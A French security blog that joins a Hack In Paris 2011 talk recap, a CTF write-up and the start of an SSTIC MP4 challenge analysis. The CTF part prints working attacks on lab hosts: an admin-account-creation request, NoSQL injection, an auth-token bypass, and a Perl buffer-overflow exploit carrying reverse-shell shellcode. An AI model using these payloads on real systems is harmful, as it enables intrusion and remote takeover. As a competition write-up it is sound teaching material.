Comme certains l’auront sans doute remarqué, j’ai participé à l’élaboration du programme des conférences de l’événement Hack In Paris, qui s’est déroulé la semaine dernière au centre de conférences de Disneyland Paris. N’ayant pas trop participé à l’organisation le jour J, je dois dire que pour une première édition, je suis très satisfait du résultat !

Comme HES, et contrairement au SSTIC, HIP se veut international et est donc exclusivement anglophone. L’événement était composé de 2 jours de formations – Win32 exploit development par Peter Van Eeckhoutte et IPv6 Security par Fernando Gontt – et 2 jours de conférences. Étant donné qu’il avait lieu en pleine semaine, je n’ai pu assister qu’aux conférences. Voici un petit résumé de la plupart d’entre elles pour ceux qui n’ont pas suivi le live-tweet…

• Cyberwar-4G aka The Coming Smart Phone Wars, par Winn Schwartau. Bonne keynote où l’on fait le tour de tous les problèmes et menaces représentées par les smartphones et autres tablettes, vis à vis de la volonté des constructeurs de préserver le cool factor de leur produit. Bref, tout ce qu’il faut pour considérer ces devices comme un security nightmare…
• Locking the Throne Room – ECMA Script 5, a frozen DOM and the eradication of XSS, où Mario Heiderich revisite le Cross-Site Scripting, et plus particulièrement les DOM XSS, qui restent méconnues. Il s’intéresse en particulier aux bugs des derniers moteurs de parsing des navigateurs, et à leur exploitation pour trouver des vecteurs XSS assez atypiques. Après avoir exposé sa vision assez novatrice (du moins à mon avis) selon laquelle le problème des XSS ne se situe non pas du côté du serveur mais du client, il expose sa solution pour éradiquer les XSS côté client : l’utilisation des fonctionnalités d’ECMAScript 5. En effet, cette version propose une méthode (Object.defineProperty()) permettant de surcharger toute propriété JavaScript et ce de façon définitive, pouvant être utilisée pour rendre les objets DOM tamper-resistant. Ce genre de protection pourrait être appliquée dans les cas où la présence d’une DOM XSS serait catastrophique, comme pour la Stanford JS Crypto Library, ou encore… BeEF (et même XeeK !). Bref, un super talk agrémenté de pas mal de démos de XSS en utilisant une astucieuse page Web permettant de tester rapidement de nouveaux vecteurs. Les slides sont dispos ici.
• Be a smart CISO, learn about people, par Bruno Kerouanton. Conférence à l’intention des RSSI, qui dresse un petit tour d’horizon des différentes techniques permettant de mettre toutes les chances de son côté pour convaincre ses collègues de l’importance de la sécurité. Qui a dit que le Social Engineering était inutile ?
• « Project Quebec » and win32 exploit development with pvefindaddr : Peter Van Eekhoutte annonce officiellement la sortie du nouveau remplaçant de pvefindaddr : mona. Pour ceux qui ne connaissent pas, il s’agit d’un plugin pour Immunity Debugger permettant d’automatiser la conception d’exploits pour Windows. Excellente présentation, liant technique et humour, dosées comme il se doit. Voici les slides.
• Offensive XSLT, où Nicolas Grégoire démontre les « fonctionnalités » dangereuses de XSLT permettant d’accéder au système de fichiers de la cible, voire l’exécution de code. Quelques démos de pwning en règle viennent agrémenter la théorie. Ce qui fait peur, c’est que ces moteurs sont utilisés dans de gros produits, tels que Liferay, Webkit, PHP5 et Gnome. Et ce qui fait encore plus peur, c’est la réaction des équipes des projets en question suite à l’annonce (responsable) des vulnérabilités. It’s not a bug, it’s a feature…
• Agnitio: the security code review Swiss army knife. David Rook expose sa vision de la revue de code : il ne s’agit pas de lire le maximum de lignes de code en un minimum de temps, mais d’éduquer les développeurs pour leur éviter de commettre les mêmes erreurs à l’avenir. Il présente alors Agnitio, un outil libre permettant de générer des checklists à suivre lors de la revue de code. Plutôt sympa. Slides dispos ici.
• Pentesting iPhone and iPad Applications. Sébastien Andrivet et Flora Bottaccio présentent les techniques et outils d’analyse d’applications iPhone & iPad, et en particulier le reverse-engineering et l’analyse de trafic réseau. Ils dressent un état de l’art, proposent une méthodologie d’audit applicatif, et présentent deux outils réalisés par leur soin : ADVsock2pipe et ADVInterceptor. Quelques démos de vulnérabilités touchant des applications réelles sont présentées, et on retrouve les usual suspects traditionnels : mots de passe stockés en clair sur disque (ou mieux, en base64…), communications non chiffrées, etc. État de l’art très intéressant quand on n’a jamais touché ce genre de plateforme, et qui confirme ce que disait Winn dans sa keynote : la sécurité actuelle des mobiles est un énorme #fail.
• Skyrack : ROP for masses. Jean-Baptiste Aviat présente son outil de conception assistée d’exploits utilisant le Return Oriented Programming pour contourner les protections du style NX/XD (DEP sous Windows). Skyrack est basé sur Metasm et supporte à la fois les binaires PE, ELF et Mach-O, ainsi que les architectures Intel 32 et 64 bits pour le moment. Le fonctionnement de l’outil a l’air assez similaire à Ropme, avec en plus des opérateurs de recherche avancés sont également disponible afin d’imposer par exemple la préservation de certains registres. Skyrack étant scriptable, il ressemble plus à un framework de conception d’exploit qu’à un outil de génération purement automatique.
• The forbidden image – Security impact of SVF on the WWW. Dans sa deuxième conférence, Mario Heiderich présente les dangers dus à l’utilisation du format  Scalable Vector Graphics intégré aux pages Web. Et comme il l’a si bien dit, les SVG ne devraient pas être considérés comme des images, mais plutôt des minis applications ! En effet, ceux-ci supportent entre autres l’inclusion d’objets arbitraires, tels que des PDF, applets Java ou Flash… et bien entendu, les traditionnels scripts JavaScript. De quoi rallonger la liste des vecteurs XSS de sa précédente conf . Plusieurs démos sont faites, dont une assez impressionnante où il parvient à ouvrir une vidéo Youtube par l’intermédiaire d’un PDF embarqué dans une favicon en SVG. Il aborde aussi le problème des local SVG, qui consistent à embarquer dans une page Web une image SVG comportant du JS faisant référence à des fichiers locaux. Si le visiteur enregistre l’image sur son disque et l’ouvre, le code JS a alors accès aux fichiers de tous les sous-dossiers… Sans parler des bugs de parsing propres à chaque navigateur. Aucune librairie de filtrage n’étant disponible à l’heure actuelle, l’auteur termine par exposer son projet SVGPurifier dont le nom est assez explicite.
• Escaping Windows Sandboxes. Tom Keetch présente les méthodes utilisées pour contourner les sandboxes en mode utilisateur, et s’intéresse plus particulièrement au mode protégé d’IE9, ainsi qu’à Adobe Reader X et Chromium. Au programme : BNO namespace squatting, exploitation de l’interface NPAPI, des fuites de handles et attaques sur les presse-papiers.
• Proactive Network Security through Vulnerability Management, par Gary Miliefsky. Je n’ai malheureusement pas suivi cette conférence, trop occupé à revoir des amis de longue date…

En ce qui concerne l’organisation, il ne fait nulle doute que Disney était un bon choix. Cadre sympa, buffet à volonté, free coca, bonne salle (quoique l’isolation sonore était parfois limite), sans oublier les goodies. Bref, un retour plutôt positif pour une première édition. J’ai pris quelques photos qui sont disponibles sur ma galerie Picasa.

Je tiens à remercier toute l’équipe, et plus particulièrement les personnes du comité de programme qui ont permis de sélectionner des conférences de qualité. Espérons que ce soit encore mieux en 2012

Conférences

Côté conférences, je n’ai suivi que les quatre qui m’intéressaient le plus :

• Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?, par Robert ERRA. N’étant pas financier, j’ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du Flash Crash survenu le 6 mai 2010. La conférence s’avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du Bitcoin dont on parle beaucoup ces derniers temps.
• Eloi Vanderbeken présente ensuite Génération et exploitation de traces. La problématique de la conférence est de déterminer l’origine des données manipulées par des programmes malveillants. Devant l’échec de l’analyse statique, l’auteur présente ses travaux d’instrumentation basés sur des outils comme Pin, développé par Intel. Très instructif, mais juste dommage qu’il n’y ait pas eu de démo.
• Dynamic Cryptographic Backdoors, présentée par Eric Filliol. Petit état de l’art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d’un algorithme n’est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.
• Android Malwares: is it a dream?, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu’ils utilisent pour s’octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l’incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d’obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d’analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par Androguard, framework très prometteur.

Challenge Hacknowledge

Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d’épreuves de social engineering et même hardware (cf plus bas). J’ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l’applicatif. Voici quelques résumés d’épreuves.

Web 1 – « Madame est servie »

Autant le dire tout de suite, aucun de nous n’a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu’un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :

<?xml version="1.0" encoding="utf-8"?>
<xml>
 <item>
 <username>lupin</username>
 <password>*********</password>
 <email>lupin@poudlard.net</email>
 <admin>0</admin>
 </item>
 <item>
 <username>hermione</username>
 <password>*********</password>
 <email>hermione@poudlard.net</email>
 <admin>0</admin>
 </item>
...

La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :

token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=

Le résultat était alors :

<?xml version="1.0" encoding="utf-8"?>
<xml><error>User must be admin...</error></xml>

Aucune consigne n’était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.

Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :

ginny:78451b201044e6e3515855ac0fef6a4f

Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n’est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.

Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s’agit d’un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.

import base64
import httplib

# Ajout d'un compte
conn = httplib.HTTPConnection("192.168.0.208")
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request( "PUT",
 "/index.php/api/users",
 "username=greg_evans&password=hzv_r0x&email=toto@kikoo.lol&admin=1",
 headers)

"""
On obtient l'affichage suivant :
<?xml version="1.0" encoding="utf-8"?>
<xml><success>User inserted successfully!</success></xml>
"""

# Connexion avec ce compte
conn.request( "POST",
 "/index.php/api/validate",
 "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"),
 headers)
"""
<?xml version="1.0" encoding="utf-8"?>
<xml>
 <status>success</status>
 <description>
 Bien joue, vous avez resolu cette epreuve !
 </description>
 <code>ROBBIE_THE_RETURN</code>
</xml>
"""

On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l’épreuve.

Web 2 – Captcha textuel

La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un CAPTCHA implémenté sous la forme d’une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu’il y a à peine une quinzaine de questions différentes. Aussi il est possible d’automatiser les requêtes en se constituant d’un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j’ai fait face venait de l’utilisation des cookies, alors que j’utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n’ai pas le code source de l’épreuve, mais voici pour information le code qui nous a permis de la valider :

import httplib

soluce = {
 "serpent" : "reptile",
 "chiot" : "canin",
 "toutou" : "canin",
 "pigeon": "oiseau",
 "papillons" : "insecte",
 # ...
 }

URL = "/6f503c90-8877-11e0-9d78-0800200c9a66"
cookie = ""

for i in range(5):

 headers={}

 if cookie!="":
 headers["Cookie"] = "PHPSESSID="+cookie

 conn = httplib.HTTPConnection("192.168.0.207")
 conn.request("GET", URL+"/inscription.php", None, headers)
 r = conn.getresponse()

 try:
 cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0]
 print cookie
 except:
 pass

 t = r.read()
 #print t

 reponse =""
 for m, r in soluce.items():
 if m in t:
 reponse = r

 print "===> reponse : ",reponse

 conn = httplib.HTTPConnection("192.168.0.207")
 headers = {"Content-type": "application/x-www-form-urlencoded",
 "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie}
 conn.request( "POST",
 URL+"/valider.php",
 "nom=aaaaaaaaa&prenom=aaaaaa&email=toto%40gmail.com"+
 "&valider=Valider&mot="+reponse,
 headers)
 t = conn.getresponse().read()

 print t

 if "Erreur" in t:
  break

Après 5 CHAPTCHAs validés, le flag de l’épreuve s’affiche sur la page.

Web 3 – « In The Clouds »

Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d’après le staff un bon indice concernant l’épreuve. N’étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d’être mal filtrés. Une des pages possède le paramètre GET « cat » qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d’injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m’aperçois qu’il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de unserialize(), et je constate qu’il s’agit d’un tableau de session PHP. Je tente alors d’injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu’un rapide passage d’Acunetix, mais toujours rien. Damned…

Il nous a fallu un certain temps avant de nous rendre compte que la page « Mentions légales » du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d’exploitable à priori. Concernant MongoDB, personne d’entre nous ne le connaissait. Il s’agit en fait d’un gestionnaire de BDD qui, selon Wikipédia, est « orienté document » , scalable (d’où le « cloud »), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du NoSQL. Ce langage, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.

Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d’effectuer des Injections NoSQL, qui sont plus ou moins l’équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :

$users->find(array(
"username" => $_GET['username'],
"passwd" => $_GET['passwd']
));

Effectuer une requête du type login=hzv&pass=1' or 1=1 ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :

login=hzv&pass[$ne]=1

En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :

Array(
  '$ne' => 1
)

Appliquée dans le cadre d’une requête, ce tableau fait office de condition sur le champ ‘passwd’, l’opérateur $ne signifiant « pas égal ». Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d’école, mais encore fallait-il y penser…

A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d’éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un &admin=1 dans les données POST envoyées, et ça marche . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être…

Web 5 – « Jeux thons »

Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 « Authorization Required » sans plus d’explications. On a alors l’idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d’injecter du code PHP via l’URL de la 1ère page pour qu’il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n’est présente autre part ailleurs sur le serveur.

En inspectant de plus près le fichier error.log, on remarque qu’un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la documentation du module Apache correspondant. Ce module permet de générer des liens uniques permettant d’accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L’URL générée pour un fichier est du type :

uri-prefix/token/timestamp-in-hex/rel-path

En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple dechex(time()), et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d’accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :

/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php

Le token est aléatoire, et le timestamp a été généré avec :

php -r "echo dechex(time());";
4de08b50

Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :

May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth
(got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9',
uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')

On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête… et on tombe sur une erreur 404 Not Found. Visiblement, il n’y a pas de fichier index.php. On tente alors index.html, pour voir… Même technique : on envoie d’abord un token foireux, on regarde celui attendu dans le message d’erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.

Appli – Ken Laden

Il s’agit de l’épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n’était pas d’une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.

Le but était de prendre le contrôle d’un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :

• La machine est une Debian 6 (noyau 2.6.32-5 x86)
• Pas d’ASLR

La racine du serveur Web ressemble à ceci :

Racine du serveur

Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :

Your protocol : HTTP/1.1

Je forge alors une requête avec un protocole bidon :

s = socket.socket()
s.connect(("192.168.0.204", 20080))
s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n")
print s.recv(4096)

Et j’obtiens :

Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de « a », et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L’idéal serait d’inspecter le code du serveur…

C’est là que l’on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :

0x8048000 0x804a000
0x804a000 0x804b000
0xb7e95000 0xb7e96000
0xb7e96000 0xb7fd6000
0xb7fd6000 0xb7fd8000
0xb7fd8000 0xb7fd9000
0xb7fd9000 0xb7fdc000
0xb7fdf000 0xb7fe2000
0xb7fe2000 0xb7fe3000
0xb7fe3000 0xb7ffe000
0xb7ffe000 0xb7fff000
0xb7fff000 0xb8000000
0xbffdd000 0xc0000000

Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur « pcat » nous amènent sur un article fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l’outil pcat permet de dumper la mémoire virtuelle d’un processus en cours d’exécution. Visiblement, l’auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s’y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n’est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu’à cela ne tienne, nous pouvons dumper la section .text manuellement :

f = open("rssild.pcat_dump","rb")
f.seek(0x8048000)
a = f.read(8192) # 0x804a000 - 0x8048000
open("text.bin","wb").write(a)

On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu’il s’agisse d’un binaire incomplet – uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à « Your protocol : », affiché sur la page Web :

Strings

On follow tout ça, et on arrive à un appel du type :

lea     eax, [esp+0EAE8h]
mov     [esp], eax
call    sub_80490BA
mov     eax, offset aBStyleColorC9d ; "...Your protocol : %s..."
lea     edx, [esp+0EAE8h]
mov     [esp+4], edx
mov     [esp], eax
call    sub_8048930

Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s’agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :

push    ebp
mov     ebp, esp
sub     esp, 218h
mov     eax, [ebp+arg_0]
mov     [esp+4], eax
lea     eax, [ebp+var_1FC]
mov     [esp], eax
call    sub_8048920
leave
retn

On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne… Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got. En tout cas, la tentation est grande ! Si on regarde de plus près, 0×218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d’EBP, on obtient 512 octets. C’est cette quantité qu’il faudra réécrirre si l’on souhaîte écraser la sauvegarde d’EIP, située juste après.

En supposant qu’il n’y ait pas de protection de la pile (pas de NX), l’exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c’est le langage de prédilection de mon coéquipier Djo) :

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 1)
{
print "[-] Usage:   \n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip 	 = $ARGV[0];
$port 	 = $ARGV[1];
$paddind = "A"x408;
$eip  = "\x3b\x99\x04\x08"; #call *(%eax)

#revers tcp 192.168.0.10 4444 - 99 bytes
$SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" .
"\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" .
"\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" .
"\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" .
"\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" .
"\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" .
"\x62" . $paddind . $eip;

$evil 	= "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$ip",
PeerPort => "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$ip",
PeerPort => "$port");
$socket->send($evil);
$socket->recv($answer,2048);
print $answer;
print "\n";
close($socket);

Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d’afficher le flag de l’épreuve. 700 points de validés d’ou coup !

Notons qu’au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue… L’auteur de l’épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n’y en avait nullement besoin pour résoudre l’épreuve.

Le reste

Le challenge était également composé de plein d’autres épreuves de types variés, de mémoire :

• Wifi : une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d’un accès utilisateur limité sur le portail Web.
• Social Engineering : toute une série d’épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d’informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d’IUT qui partiaipaient à un autre challenge à côté de nous
• Hardware : Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un Teensy pour bruteforcer un mot de passe en disposant uniquement d’un port USB pendant 2 min chrono… Heureusement que notre spécialiste hardware était là !
• Forensics / Reverse Engineering : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.
• Réseau / VoIP : Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n’avons réussi aucune de ces épreuves…

Bref, pas de quoi s’ennuyer lors de cette longue nuit.

Retrouvez les solutions ainsi que les sources de certains de ces challenges sur Shell-storm.org.

Remise des prix

Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.

Scores intermédiaires

Scores définitifs

Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l’équipe d’ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d’originalité, ni de qualité.

A bientôt pour un mois de juin chargé avec le SSTIC (8, 9 et 10), Hack In Paris (14-17), et la Nuit Du Hack (18-19)

Extraction des pistes

Le but est d’analyser une vidéo et d’en extraire un mail. Il s’agit d’une vidéo au format MP4. Ne connaissant absolument pas ce format au moment où je me suis penché sur le challenge, j’ai donc préféré me documenter sur le sujet. MP4 est en réalité un conteneur, et hérite de l’ISO Base Media File Format. Les specs de ce dernier sont libres de droits, mais pas celles de MP4. Qu’à cela ne tienne, elles suffisent amplement.

On y apprend que MP4 permet de stocker tout type d’information : vidéo, son, et autre. Un fichier MP4 est décomposé en boxes, qui sont structurées sous la forme d’un arbre. L’outil MP4Box permet de les parser, mais je ne l’ai découvert que tardivement ; aussi je me suis lancé dans l’écriture d’un outil manuel en Python.

E:\Challenges\SSTIC2011>boxes.py challenge
challenge {
  FileTypeBox(24 - ftyp - mp42 - 0),
  Box(4170138 - mdat),
  Box(277450 - mdat),
  Box(178748 - mdat),
  MovieBox(12507 - moov) {
    Box(108 - mvhd),
    TrackBox(5982 - trak - 0 ) {
      Box(92 - tkhd),
      SsticBox(12 - ssti)[   ?ssti    ],
      MediaBox(5822 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - vide -  ),
        MediaInformationBox(5749 - minf) {
          Box(20 - vmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(5685 - stbl) {
            SampleDescriptionBox(181 - stsd) {
              1 entries
              VisualSampleEntry(165 - mp4v - index: 1) {
                size: 640x480
                resolution: 0x00480000/0x00480000
                compressorname:
                depth: 0018

              }
            },
            Box(3248 - stts),
            SampleSizeBox(2092 - stsz) {
              sample_size = 0
              sample_count = 518

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(88 - stco) {
              18 entries
            },
            Box(28 - stss)
          }
        }
      },
      Box(48 - edts)
    },
    TrackBox(3492 - trak - 1 ) {
      Box(92 - tkhd),
      MediaBox(3372 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - soun -  ),
        MediaInformationBox(3299 - minf) {
          Box(16 - smhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(3239 - stbl) {
            SampleDescriptionBox(103 - stsd) {
              1 entries
              Box(87 - mp4a)
            },
            Box(24 - stts),
            SampleSizeBox(2980 - stsz) {
              sample_size = 0
              sample_count = 740

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(84 - stco) {
              17 entries
            }
          }
        }
      },
      UserDataBox(20 - udta) {
        NameBox(12 - name -    ?name    )
      }
    },
    TrackBox(2917 - trak - 2 ) {
      Box(92 - tkhd),
      MediaBox(2817 - mdia) {
        Box(32 - mdhd),
        HandlerBox(45 - hdlr - data - SsticHandler ),
        MediaInformationBox(2732 - minf) {
          Box(12 - nmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(2676 - stbl) {
            SampleDescriptionBox(32 - stsd) {
              1 entries
              ElfEntry(16 - elf  - index: 1)
            },
            Box(24 - stts),
            SampleToChunkBox(1552 - stsc) {
              128 entries
            },
            SampleSizeBox(532 - stsz) {
              sample_size = 0
              sample_count = 128

            },
            ChunkOffsetBox(528 - stco) {
              128 entries
            }
          }
        }
      }
    }
  }
}

